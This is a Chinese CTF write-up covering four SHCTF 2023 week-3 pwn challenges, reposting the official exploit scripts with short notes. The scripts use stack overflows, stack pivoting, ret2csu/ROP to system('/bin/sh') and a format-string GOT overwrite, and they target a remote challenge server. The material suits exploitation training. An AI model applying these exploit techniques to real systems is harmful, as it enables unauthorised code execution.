SHCTF 2023 [WEEK 3] PWN
简介
最后一周的题直接上强度了,有点受不了 T^T,先转载官方的 WP 吧,后续琢磨透了再来改。
call_call_would_backdoor
exp如下:
from pwn import* p=remote('112.6.51.212',31696 ) context(arch='amd64',log_level = 'debug',os = 'linux')
elf=ELF('./bac') ladd=elf.symbols['backd00r'] print("%x"%ladd) p1=b'a'*(0x48+4)+p32(ladd) p.sendafter("?",p1) p2="MTEwL2Jpbi9zaA==" p.sendafter("!",p2)
p.interactive()
|
transfer
程序未启用 PIE,可通过静态调试获取全局变量地址。
- 第一次输入 0xc8 字节写入 data 段;
- 第二次输入溢出 0x10 字节实现栈迁移;
- 程序已提供
system 函数。
exp如下:
from pwn import * context(os='linux',arch='amd64',log_level='debug')
io = remote('112.6.51.212', 32178) elf = ELF('./transfer')
target_addr = 0x405160-0x8 bin_sh_addr = 0x405160+0x18 pop_rdi_ret = 0x0000000000401313 leave_ret = 0x00000000004012a7 ret = 0x000000000040101a
payload = p64(pop_rdi_ret) payload += p64(bin_sh_addr) payload += p64(elf.plt['system']) payload += b'/bin/sh\x00' io.recvuntil("haha,welcome!") io.send(payload) payload = b'a'*8 payload += p64(target_addr) payload += p64(leave_ret) io.recvuntil("input:") io.send(payload) io.interactive()
|
Aftermath
三条知识点路线(Trail1–3):
- 用
ctypes 模拟 C 函数与随机数输入绕过;
- 检查符号
'-' 判断负数,用整数溢出方式输入两个超 INT_MAX 值绕过;
- 用格式化字符串修改
printf_got 为 system。
exp如下:
from pwn import * from ctypes import * from struct import pack context(os='linux', arch='amd64', log_level='debug') native = 1 if native: p = process('pwn1') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: p = remote('') def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) se = lambda data: p.send(data) sa = lambda delim, data: p.sendafter(delim, data) sl = lambda data: p.sendline(data) sla = lambda delim, data: p.sendlineafter(delim, data) sea = lambda delim, data: p.sendafter(delim, data) rc = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) su = lambda delim, data: success(delim + hex(data)) elf = ELF('pwn1') def test1(): libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') srand = libc.srand(libc.time(0)) x = libc.rand() y = (x+1919810)^114514 sl(str(y)) def test2(): v1 = 2147483647+200 v2 = v1 - 100 sla("v1:\n", str(v1)) sla("v2:\n", str(v2)) def test3(): libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') offset = 6 payload1 = b'%15$p' sla(b'gift\n', payload1) write_addr = int(p.recv(14).decode(),16)-23 libc_base = write_addr - libc.sym['write'] su("libc_base:",libc_base) system = libc_base + libc.sym['system'] su("system:",system) system1 = (system & 0xffffff)>>16 system2 = (system&0xffff) su("system1:",system1) su("system2:",system2) payload2 = b'%'+str(system1).encode()+b'c%10$hhn' payload2 += b'%' + str(system2-system1).encode()+b'c%11$hn' print(len(payload2)) payload2 += b'a'*(32-len(payload2)) payload2 += p64(elf.got['printf']+2) + p64(elf.got['printf']) sl(payload2) sl(b'/bin/sh\x00') test1() test2() test3() p.interactive()
|
Start Your PWN!
read 函数可溢出;
- IDA 可见
__libc_csu_init 可用;
write 执行后泄露真实地址以获取 libc 版本;
- IDA 获取
write 和 main 地址;
- 使用
ropgadget 获取可用片段。
exp如下:
from pwn import *
p = remote('112.6.51.212',30082) libc = ELF('libc-2.31.so')
write_got = 0x601018 main_addr = 0x400699 pop_addr = 0x40076A mov_addr = 0x400750
pop_rdi = 0x400773 ret = 0x400506
payload = b'a'*0x108 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8) + p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr) p.recvuntil('Please:\n') p.sendline(payload) write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) success(hex(write_addr))
libc_base = write_addr - libc.sym['write'] sys = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
payload = b'a'*0x108 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys) p.recvuntil('Please:\n') p.sendline(payload) p.interactive()
|
总结
做得不太知所措,云里雾里,还需继续加油!